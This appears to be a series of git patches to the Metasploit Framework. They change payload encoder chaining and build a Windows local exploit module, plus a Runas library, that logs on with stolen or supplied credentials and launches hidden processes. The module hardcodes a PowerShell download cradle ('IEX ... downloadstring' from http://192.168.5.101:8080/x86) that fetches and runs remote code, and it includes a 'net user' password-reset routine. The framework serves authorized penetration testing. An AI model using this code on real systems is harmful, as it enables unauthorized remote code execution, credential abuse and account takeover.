From ba5161753a4932e4ed3b565895e834d6de6e2f2c Mon Sep 17 00:00:00 2001 From: agix Date: Mon, 6 Oct 2014 09:41:07 +0200 Subject: [PATCH 001/279] Allow multiple encoding syntax in Encoder variable From msfconsole using set Encoder or set StageEncoder it is possible to set multiple encoders with this syntax : :, ::, :"... + if reqs['Encoder'] + encoder_str = reqs['Encoder'] + encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt| + reqs['Encoder'] = encoder_opt[0] + + self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i + self.iterations = 1 if self.iterations < 1 + + # Encode the payload with every encoders in the list + encode() + end + else + # No specified encoder, let BadChars or ForceEncode do their job + encode() + end # Build the NOP sled generate_sled() From 2eace2b78a548844f59cb082b593e57274b67234 Mon Sep 17 00:00:00 2001 From: agix Date: Mon, 6 Oct 2014 15:52:40 +0200 Subject: [PATCH 002/279] Forget to reset raw with encoded payload --- lib/msf/core/encoded_payload.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 078701609f..d5028570cd 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -78,6 +78,8 @@ class EncodedPayload # Encode the payload with every encoders in the list encode() + # Encoded payload is now the raw payload to be encoded by the next encoder + self.raw = self.encoded end else # No specified encoder, let BadChars or ForceEncode do their job From 24bd814376d1ca8602a31b80d67ecf411f12d670 Mon Sep 17 00:00:00 2001 From: agix Date: Tue, 7 Oct 2014 09:59:26 +0200 Subject: [PATCH 003/279] Missing iterations when encoder not setted --- lib/msf/core/encoded_payload.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index d5028570cd..ee2775ed82 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -65,7 +65,6 @@ class EncodedPayload # Generate the raw version of the payload first generate_raw() if self.raw.nil? - # If encoder is set, it could be an encoders list # The form is ":, :"... if reqs['Encoder'] @@ -82,6 +81,8 @@ class EncodedPayload self.raw = self.encoded end else + self.iterations = reqs['Iterations'].to_i + self.iterations = 1 if self.iterations < 1 # No specified encoder, let BadChars or ForceEncode do their job encode() end From f81269428dfe8ce54e25225a102904e509393735 Mon Sep 17 00:00:00 2001 From: agix Date: Tue, 4 Nov 2014 14:09:09 +0100 Subject: [PATCH 004/279] Change StageEncoder behaviour Following https://github.com/rapid7/metasploit-framework/pull/3770, some change have been done as multiple encoders is managed by encoded_payload to be used by Encoder and StageEncoder in the same time. --- lib/msf/core/payload/stager.rb | 47 ++++++++++++---------------------- 1 file changed, 17 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 2b05eb82d4..0731fbaca2 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -17,7 +17,7 @@ module Msf::Payload::Stager Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]), Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]), Msf::OptString.new("StageEncoderSaveRegisters", [ false, "Additional registers to preserve in the staged payload if EnableStageEncoding is set", "" ]), - Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to default encoders or no encoding if the selected StageEncoder is not compatible", true ]) + Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to no encoding if the selected StageEncoder is not compatible", true ]) ], Msf::Payload::Stager) end @@ -221,22 +221,11 @@ module Msf::Payload::Stager # @return [String] Encoded version of +stg+ def encode_stage(stg) return stg unless encode_stage? - stage_enc_mod = [] + stage_enc_mod = nil # Handle StageEncoder if specified by the user if datastore['StageEncoder'].to_s.length > 0 - # Allow multiple encoders separated by commas - stage_enc_mod = datastore["StageEncoder"].split(',').map(&:strip).select{|x| x.to_s.length > 0}.uniq - end - - # Add automatic encoding as a fallback if needed - if datastore['StageEncodingFallback'] - stage_enc_mod << nil - end - - # If fallback has been disabled and no encoder was parsed, exit early and rop the session - if stage_enc_mod.length == 0 - raise RuntimeError, "StageEncoder is invalid and StageEncodingFallback is disabled" + stage_enc_mod = datastore["StageEncoder"] end # Allow the user to specify additional registers to preserve @@ -247,34 +236,32 @@ module Msf::Payload::Stager saved_registers.strip! estg = nil - - stage_enc_mod.each do |encoder_refname_from_user| - + begin # Generate an encoded version of the stage. We tell the encoding system # to save certain registers to ensure that it does not get clobbered. encp = Msf::EncodedPayload.create( self, 'Raw' => stg, - 'Encoder' => encoder_refname_from_user, + 'Encoder' => stage_enc_mod, 'EncoderOptions' => { 'SaveRegisters' => saved_registers }, 'ForceSaveRegisters' => true, 'ForceEncode' => true) if encp.encoder - print_status("Encoded stage with #{encp.encoder.refname}") + if stage_enc_mod + print_status("Encoded stage with #{stage_enc_mod}") + else + print_status("Encoded stage with #{encp.encoder.refname}") + end estg = encp.encoded - - break end - end - - if datastore['StageEncodingFallback'] && estg.nil? - print_warning("StageEncoder failed, falling back to no encoding") - estg = stg - end - - unless estg - raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled" + rescue + if datastore['StageEncodingFallback'] && estg.nil? + print_warning("StageEncoder failed, falling back to no encoding") + estg = stg + else + raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled" + end end estg From 5ae65a723fbfd5a44e4527b5f1f2de87d9365d88 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 26 Jan 2015 15:57:52 +0000 Subject: [PATCH 005/279] Initial --- modules/exploits/windows/local/runas.rb | 179 ++++++++++++++++++++++++ 1 file changed, 179 insertions(+) create mode 100644 modules/exploits/windows/local/runas.rb diff --git a/modules/exploits/windows/local/runas.rb b/modules/exploits/windows/local/runas.rb new file mode 100644 index 0000000000..3b71696447 --- /dev/null +++ b/modules/exploits/windows/local/runas.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Manage Run Command As User", + 'Description' => %q{ + This module will login with the specified username/password and execute the + supplied command as a hidden process. Output is not returned by default, by setting + CMDOUT to false output will be redirected to a temp file and read back in to + display.By setting advanced option SETPASS to true, it will reset the users + password and then execute the command. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Kx499'], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USER', [true, 'Username to reset/login with' ]), + OptString.new('PASS', [true, 'Password to use' ]), + OptString.new('DOMAIN', [true, 'Password to use', '.']), + OptString.new('CMD', [true, 'Command to execute' ]), + OptBool.new('CMDOUT', [false, 'Retrieve command output', false]), + ], self.class) + + register_advanced_options( + [ + OptBool.new('SETPASS', [false, 'Reset password', false]) + ], self.class) + end + + # Check if sufficient privileges are present for certain actions and run getprivs for system + # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You + # need to migrate to a process that is running as + # system. If you don't have privs, this exits script. + + def priv_check + if is_system? + privs = session.sys.config.getprivs + if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") + @isadmin = false + return true + else + return false + end + elsif is_admin? + @isadmin = true + return true + else + return false + end + end + + def reset_pass(user,pass) + begin + tmpout = "" + cmd = "cmd.exe /c net user " + user + " " + pass + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + tmpout << d + break if d == "" + end + r.channel.close + return true if tmpout.include?("successfully") + return false + rescue + return false + end + end + + def exploit + # set some instance vars + @IsAdmin = false + @host_info = session.sys.config.sysinfo + + # Make sure we meet the requirements before running the script, note no need to return + # unless error + return 0 if session.type != "meterpreter" + + # check/set vars + cmdout = datastore["CMDOUT"] + user = datastore["USER"] || nil + password = datastore["PASS"] || nil + cmd = datastore["CMD"] || nil + domain = datastore['DOMAIN'] || nil + rg_adv = session.railgun.advapi32 + + sysdrive = get_env('SYSTEMDRIVE') + os = @host_info['OS'] + profiles_path = "#{sysdrive}\\Documents and Settings\\" if os =~ /(2000|2003|XP|)/ + profiles_path = "#{sysdrive}\\Users\\" + + # This should relaly be done ala GetUserProfileDirectory + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431%28v=vs.85%29.aspx + path = "#{profiles_path}#{user}\\" + + cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) + # this is start info struct for a hidden process last two params are std out and in. + #for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE + startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0] + startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL") + + cmdstr = 'powershell.exe -C IEX ((new-object net.webclient).downloadstring(\'http://192.168.5.101:8080/x86\'))' + + # if local admin use createprocesswithlogon, if system logonuser and createprocessasuser + # execute command and get output with a poor mans pipe + if true # priv_check + if true #@isadmin #local admin + print_status("Executing CreateProcessWithLogonW...") + logon = rg_adv.LogonUserW(user,domain, password, "LOGON32_LOGON_INTERACTIVE", "LOGON32_PROVIDER_DEFAULT", 4) + puts logon.inspect + cs = rg_adv.CreateProcessWithLogonW(user, + domain, + password, + 'LOGON_WITH_PROFILE', + nil, + cmdstr, + 'CREATE_UNICODE_ENVIRONMENT', + nil, + path, + startinfo, + 16) + + else #system with correct token privs enabled + print_status("Executing CreateProcessAsUserA...we are SYSTEM") + l = rg_adv.LogonUserA(user,nil,password, "LOGON32_LOGON_INTERACTIVE", + "LOGON32_PROVIDER_DEFAULT", 4) + cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false, + "CREATE_NEW_CONSOLE", nil, nil, startinfo, 16) + end + else + print_error("Insufficient Privileges, either you are not Admin or system or you elevated") + print_error("privs to system and do not have sufficient privileges. If you elevated to") + print_error("system, migrate to a process that was started as system (srvhost.exe)") + return 0 + end + + # Only process file if the process creation was successful, delete when done, give us info + # about process + if cs["return"] + tmpout = "" + if cmdout + outfile = session.fs.file.new(outpath, "rb") + until outfile.eof? + tmpout << outfile.read + end + outfile.close + c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) + c.close + end + + pi = cs["lpProcessInformation"].unpack("LLLL") + print_status("Command Run: #{cmdstr}") + print_status("Process Handle: #{pi[0]}") + print_status("Thread Handle: #{pi[1]}") + print_status("Process Id: #{pi[2]}") + print_status("Thread Id: #{pi[3]}") + print_line(tmpout) + else + print_error("#{cs["ErrorMessage"]}") + return 0 + end + end +end From 93537765d0441fa2f9bc4cf63c5e64d6c404625b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 26 Jan 2015 15:59:22 +0000 Subject: [PATCH 006/279] Add TODO --- modules/exploits/windows/local/runas.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/runas.rb b/modules/exploits/windows/local/runas.rb index 3b71696447..9db63d5618 100644 --- a/modules/exploits/windows/local/runas.rb +++ b/modules/exploits/windows/local/runas.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Exploit::Local profiles_path = "#{sysdrive}\\Documents and Settings\\" if os =~ /(2000|2003|XP|)/ profiles_path = "#{sysdrive}\\Users\\" - # This should relaly be done ala GetUserProfileDirectory + # TODO:This should relaly be done ala GetUserProfileDirectory # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431%28v=vs.85%29.aspx path = "#{profiles_path}#{user}\\" @@ -124,6 +124,8 @@ class Metasploit3 < Msf::Exploit::Local print_status("Executing CreateProcessWithLogonW...") logon = rg_adv.LogonUserW(user,domain, password, "LOGON32_LOGON_INTERACTIVE", "LOGON32_PROVIDER_DEFAULT", 4) puts logon.inspect + # TODO: Error if command is greater than 1024, or greater than + # MAX_PATH cs = rg_adv.CreateProcessWithLogonW(user, domain, password, From ea2586931208b6d8b8eada84b4f7bf0984a2a615 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 10:47:02 +0000 Subject: [PATCH 007/279] Refactor to common module --- lib/msf/core/post/windows/runas.rb | 145 ++++++++++++++++++ modules/exploits/windows/local/run_as.rb | 138 +++++++++++++++++ modules/exploits/windows/local/runas.rb | 181 ----------------------- 3 files changed, 283 insertions(+), 181 deletions(-) create mode 100644 modules/exploits/windows/local/run_as.rb delete mode 100644 modules/exploits/windows/local/runas.rb diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index f40c9ba6f1..820e73f548 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::Powershell + include Msf::Post::Windows::Error + + ERROR = Msf::Post::Windows::Error + MAX_PATH = 260 + STARTF_USESHOWWINDOW = 0x00000001 + SW_HIDE = 0 def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe @@ -34,4 +40,143 @@ module Msf::Post::Windows::Runas select(nil, nil, nil, 1) until session_created? end end + + def startup_info + # this is start info struct for a hidden process last two params are std out and in. + #for hidden startup_info[12] = STARTF_USESHOWWINDOW and startup_info[13] = 0 = SW_HIDE + [0, # cb + 0, # lpReserved + 0, # lpDesktop + 0, # lpTitle + 0, # dwX + 0, # dwY + 0, # dwXSize + 0, # dwYSize + 0, # dwXCountChars + 0, # dwYCountChars + 0, # dwFillAttribute + STARTF_USESHOWWINDOW, # dwFlags + SW_HIDE, # wShowWindow + 0, # cbReserved2 + 0, # lpReserved2 + 0, # hStdInput + 0, # hStdOutput + 0 # hStdError + ].pack('LLLLLLLLLLLLSSLLLL') + end + + def create_process_with_logon(domain, user, password, application_name, command_line) + return unless check_user_format(user, domain) + return unless check_command_length(application_name, command_line, 1024) + + sysdrive = get_env('SYSTEMDRIVE') + os = session.sys.config.sysinfo['OS'] + profiles_path = "#{sysdrive}\\Documents and Settings\\" if os =~ /(2000|2003|XP|)/ + profiles_path = "#{sysdrive}\\Users\\" + + # TODO:This should relaly be done ala GetUserProfileDirectory + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431%28v=vs.85%29.aspx + path = "#{profiles_path}#{user}\\" + + vprint_status("Executing LogonUserW...") + logon_user = session.railgun.advapi32.LogonUserW(user, + domain, + password, + 'LOGON32_LOGON_INTERACTIVE', + 'LOGON32_PROVIDER_DEFAULT', + 4) + if logon_user['return'] == ERROR::SUCCESS + vprint_status("Executing CreateProcessWithLogonW...") + create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, + domain, + password, + 'LOGON_WITH_PROFILE', + application_name, + command_line, + 'CREATE_UNICODE_ENVIRONMENT', + nil, + path, + startup_info, + 16) + if create_process['return'] == ERROR::SUCCESS + pi = parse_process_information(create_process['lpProcessInformation']) + print_good("Process started successfully, PID #{pi['process_id']}") + else + print_error("Unable to create process, #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + end + + pi + else + print_error("Unable to login the user, #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + end + + nil + end + + def create_process_as_user(domain, user, password, application_name, command_line) + return unless check_user_format(user, domain) + return unless check_command_length(application_name, command_line, 32000) + + vprint_status("Executing LogonUserA...") + logon_user = session.railgun.advapi32.LogonUserA(user, + domain, + password, + 'LOGON32_LOGON_INTERACTIVE', + 'LOGON32_PROVIDER_DEFAULT', + 4) + + if logon_user['return'] == ERROR::SUCCESS + ph_token = logon_user['phToken'] + vprint_status("Executing CreateProcessAsUserA...") + create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token, + application_name, + command_line, + nil, + nil, + false, + 'CREATE_NEW_CONSOLE', + nil, + nil, + startup_info, + 16) + + if create_process['return'] == ERROR::SUCCESS + pi = parse_process_information(create_process['lpProcessInformation']) + print_good("Process started successfully, PID #{pi['process_id']}") + else + print_error("Unable to create process, #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + end + + pi + else + print_error("Unable to login the user, #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + end + + nil + end + + def parse_process_information(process_information) + pi = process_information.unpack('LLLL') + { process_handle => pi[0], thread_handle => pi[1], process_id => pi[2], thread_id => pi[3] } + end + + def check_user_format(username, domain) + if domain && username.include?('@') + raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil' + end + + true + end + + def check_command_length(application_name, command_line, max_length) + if application_name.nil? && command_line.nil? + raise ArgumentError, 'Both application_name and command_line are nil' + elsif application_name.nil? && command_line.length > MAX_PATH + raise ArgumentError, "When application_name is nil the command line must be less than MAX_PATH #{MAX_PATH} characters (Currently #{command_line.length})" + elsif command_line.length > max_length + raise ArgumentError, "When application_name is set, command line must be less than #{max_length} characters (Currently #{command_line.length})" + end + + true + end end diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb new file mode 100644 index 0000000000..7b5669efef --- /dev/null +++ b/modules/exploits/windows/local/run_as.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Exploit::Powershell + include Msf::Post::Windows::Runas + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Manage Run Command As User", + 'Description' => %q{ + This module will login with the specified username/password and execute the + supplied command as a hidden process. Output is not returned by default, by setting + CMDOUT to false output will be redirected to a temp file and read back in to + display.By setting advanced option SETPASS to true, it will reset the users + password and then execute the command. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Kx499'], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('DOMAIN', [true, 'Domain to login with' ]), + OptString.new('USER', [true, 'Username to login with' ]), + OptString.new('PASSWORD', [true, 'Password to login with' ]), + OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)']), + OptString.new('COMMAND_LINE', [true, 'Command line to execute (lpCommandLine)']), + ], self.class) + + register_advanced_options( + [ + OptBool.new('CMDOUT', [true, 'Retrieve command output', false]), + OptBool.new('SETPASS', [true, 'Reset password', false]) + ], self.class) + end + + # Check if sufficient privileges are present for certain actions and run getprivs for system + # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You + # need to migrate to a process that is running as + # system. If you don't have privs, this exits script. + def priv_check + if is_system? + privs = session.sys.config.getprivs + if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") + @isadmin = false + return true + else + return false + end + elsif is_admin? + @isadmin = true + return true + else + return false + end + end + + def reset_pass(user, password) + cmd = "cmd.exe /c net user #{user} #{password}" + r = cmd_exec(cmd) + return r.include?("successfully") + end + + def exploit + fail_with(Exploit::Failure::BadConfig, "Must be a meterpreter session") if session.sys.config.sysinfo.type != "meterpreter" + + # check/set vars + cmdout = datastore["CMDOUT"] + user = datastore["USER"] + password = datastore["PASS"] + application_name = datastore['APPLICATION_NAME'] + command_line = datastore["COMMAND_LINE"] + domain = datastore['DOMAIN'] + + cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) + + cmdstr = 'powershell.exe -C IEX ((new-object net.webclient).downloadstring(\'http://192.168.5.101:8080/x86\'))' + + if is_system? + puts create_process_as_user(domain, + user, + password, + application_name, + command_line) + else + puts create_process_with_logon(domain, + user, + password, + application_name, + command_line) + + #print_error("Insufficient Privileges, either you are not Admin or system or you elevated") + #print_error("privs to system and do not have sufficient privileges. If you elevated to") + #print_error("system, migrate to a process that was started as system (srvhost.exe)") + #return 0 + end + + return + + # Only process file if the process creation was successful, delete when done, give us info + # about process + if cs["return"] + tmpout = "" + if cmdout + outfile = session.fs.file.new(outpath, "rb") + until outfile.eof? + tmpout << outfile.read + end + outfile.close + c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) + c.close + end + + pi = cs["lpProcessInformation"].unpack("LLLL") + print_status("Command Run: #{cmdstr}") + print_status("Process Handle: #{pi[0]}") + print_status("Thread Handle: #{pi[1]}") + print_status("Process Id: #{pi[2]}") + print_status("Thread Id: #{pi[3]}") + print_line(tmpout) + else + print_error("#{cs["ErrorMessage"]}") + return 0 + end + end +end diff --git a/modules/exploits/windows/local/runas.rb b/modules/exploits/windows/local/runas.rb deleted file mode 100644 index 9db63d5618..0000000000 --- a/modules/exploits/windows/local/runas.rb +++ /dev/null @@ -1,181 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Exploit::Local - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Exploit::Powershell - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Manage Run Command As User", - 'Description' => %q{ - This module will login with the specified username/password and execute the - supplied command as a hidden process. Output is not returned by default, by setting - CMDOUT to false output will be redirected to a temp file and read back in to - display.By setting advanced option SETPASS to true, it will reset the users - password and then execute the command. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Kx499'], - 'Targets' => [ [ 'Universal', {} ] ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - OptString.new('USER', [true, 'Username to reset/login with' ]), - OptString.new('PASS', [true, 'Password to use' ]), - OptString.new('DOMAIN', [true, 'Password to use', '.']), - OptString.new('CMD', [true, 'Command to execute' ]), - OptBool.new('CMDOUT', [false, 'Retrieve command output', false]), - ], self.class) - - register_advanced_options( - [ - OptBool.new('SETPASS', [false, 'Reset password', false]) - ], self.class) - end - - # Check if sufficient privileges are present for certain actions and run getprivs for system - # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You - # need to migrate to a process that is running as - # system. If you don't have privs, this exits script. - - def priv_check - if is_system? - privs = session.sys.config.getprivs - if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") - @isadmin = false - return true - else - return false - end - elsif is_admin? - @isadmin = true - return true - else - return false - end - end - - def reset_pass(user,pass) - begin - tmpout = "" - cmd = "cmd.exe /c net user " + user + " " + pass - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - tmpout << d - break if d == "" - end - r.channel.close - return true if tmpout.include?("successfully") - return false - rescue - return false - end - end - - def exploit - # set some instance vars - @IsAdmin = false - @host_info = session.sys.config.sysinfo - - # Make sure we meet the requirements before running the script, note no need to return - # unless error - return 0 if session.type != "meterpreter" - - # check/set vars - cmdout = datastore["CMDOUT"] - user = datastore["USER"] || nil - password = datastore["PASS"] || nil - cmd = datastore["CMD"] || nil - domain = datastore['DOMAIN'] || nil - rg_adv = session.railgun.advapi32 - - sysdrive = get_env('SYSTEMDRIVE') - os = @host_info['OS'] - profiles_path = "#{sysdrive}\\Documents and Settings\\" if os =~ /(2000|2003|XP|)/ - profiles_path = "#{sysdrive}\\Users\\" - - # TODO:This should relaly be done ala GetUserProfileDirectory - # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431%28v=vs.85%29.aspx - path = "#{profiles_path}#{user}\\" - - cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) - # this is start info struct for a hidden process last two params are std out and in. - #for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE - startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0] - startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL") - - cmdstr = 'powershell.exe -C IEX ((new-object net.webclient).downloadstring(\'http://192.168.5.101:8080/x86\'))' - - # if local admin use createprocesswithlogon, if system logonuser and createprocessasuser - # execute command and get output with a poor mans pipe - if true # priv_check - if true #@isadmin #local admin - print_status("Executing CreateProcessWithLogonW...") - logon = rg_adv.LogonUserW(user,domain, password, "LOGON32_LOGON_INTERACTIVE", "LOGON32_PROVIDER_DEFAULT", 4) - puts logon.inspect - # TODO: Error if command is greater than 1024, or greater than - # MAX_PATH - cs = rg_adv.CreateProcessWithLogonW(user, - domain, - password, - 'LOGON_WITH_PROFILE', - nil, - cmdstr, - 'CREATE_UNICODE_ENVIRONMENT', - nil, - path, - startinfo, - 16) - - else #system with correct token privs enabled - print_status("Executing CreateProcessAsUserA...we are SYSTEM") - l = rg_adv.LogonUserA(user,nil,password, "LOGON32_LOGON_INTERACTIVE", - "LOGON32_PROVIDER_DEFAULT", 4) - cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false, - "CREATE_NEW_CONSOLE", nil, nil, startinfo, 16) - end - else - print_error("Insufficient Privileges, either you are not Admin or system or you elevated") - print_error("privs to system and do not have sufficient privileges. If you elevated to") - print_error("system, migrate to a process that was started as system (srvhost.exe)") - return 0 - end - - # Only process file if the process creation was successful, delete when done, give us info - # about process - if cs["return"] - tmpout = "" - if cmdout - outfile = session.fs.file.new(outpath, "rb") - until outfile.eof? - tmpout << outfile.read - end - outfile.close - c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) - c.close - end - - pi = cs["lpProcessInformation"].unpack("LLLL") - print_status("Command Run: #{cmdstr}") - print_status("Process Handle: #{pi[0]}") - print_status("Thread Handle: #{pi[1]}") - print_status("Process Id: #{pi[2]}") - print_status("Thread Id: #{pi[3]}") - print_line(tmpout) - else - print_error("#{cs["ErrorMessage"]}") - return 0 - end - end -end From 12542eb938cb2bdb32b9c4ade88b14f719f31177 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 27 Jan 2015 14:10:35 +0000 Subject: [PATCH 008/279] Working --- lib/msf/core/post/windows/runas.rb | 133 ++++++++++++++++------------- 1 file changed, 76 insertions(+), 57 deletions(-) diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb index 820e73f548..9cebfc2ed3 100644 --- a/lib/msf/core/post/windows/runas.rb +++ b/lib/msf/core/post/windows/runas.rb @@ -54,7 +54,7 @@ module Msf::Post::Windows::Runas 0, # dwYSize 0, # dwXCountChars 0, # dwYCountChars - 0, # dwFillAttribute + 0, # dwFillAttribute STARTF_USESHOWWINDOW, # dwFlags SW_HIDE, # wShowWindow 0, # cbReserved2 @@ -62,22 +62,13 @@ module Msf::Post::Windows::Runas 0, # hStdInput 0, # hStdOutput 0 # hStdError - ].pack('LLLLLLLLLLLLSSLLLL') + ].pack('VVVVVVVVVVVVvvVVVV') end def create_process_with_logon(domain, user, password, application_name, command_line) return unless check_user_format(user, domain) return unless check_command_length(application_name, command_line, 1024) - sysdrive = get_env('SYSTEMDRIVE') - os = session.sys.config.sysinfo['OS'] - profiles_path = "#{sysdrive}\\Documents and Settings\\" if os =~ /(2000|2003|XP|)/ - profiles_path = "#{sysdrive}\\Users\\" - - # TODO:This should relaly be done ala GetUserProfileDirectory - # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431%28v=vs.85%29.aspx - path = "#{profiles_path}#{user}\\" - vprint_status("Executing LogonUserW...") logon_user = session.railgun.advapi32.LogonUserW(user, domain, @@ -85,39 +76,58 @@ module Msf::Post::Windows::Runas 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_PROVIDER_DEFAULT', 4) - if logon_user['return'] == ERROR::SUCCESS - vprint_status("Executing CreateProcessWithLogonW...") - create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, - domain, - password, - 'LOGON_WITH_PROFILE', - application_name, - command_line, - 'CREATE_UNICODE_ENVIRONMENT', - nil, - path, - startup_info, - 16) - if create_process['return'] == ERROR::SUCCESS - pi = parse_process_information(create_process['lpProcessInformation']) - print_good("Process started successfully, PID #{pi['process_id']}") - else - print_error("Unable to create process, #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") - end + if logon_user['return'] + begin + ph_token = logon_user['phToken'] + vprint_status("Executing GetUserProfileDirectoryW...") + get_profile_dir = session.railgun.userenv.GetUserProfileDirectoryW(ph_token, MAX_PATH*2, MAX_PATH*2) + str_length = get_profile_dir['lpcchSize'] + profile_path = get_profile_dir['lpProfileDir'][0, str_length] + vprint_status("Executing CreateProcessWithLogonW #{application_name} #{command_line}...") + create_process = session.railgun.advapi32.CreateProcessWithLogonW(user, + domain, + password, + 'LOGON_WITH_PROFILE', + application_name, + command_line, + 'CREATE_UNICODE_ENVIRONMENT', + nil, + nil, # profile_path, + startup_info, + 16) + if create_process['return'] + begin + pi = parse_process_information(create_process['lpProcessInformation']) + ensure + session.railgun.kernel32.CloseHandle(pi[:process_handle]) + session.railgun.kernel32.CloseHandle(pi[:thread_handle]) + end + print_good("Process started successfully, PID: #{pi[:process_id]}") + else + print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}") + print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil? + end - pi + return pi + ensure + session.railgun.kernel32.CloseHandle(ph_token) + end else - print_error("Unable to login the user, #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") end nil end + # Can be used by SYSTEM processes 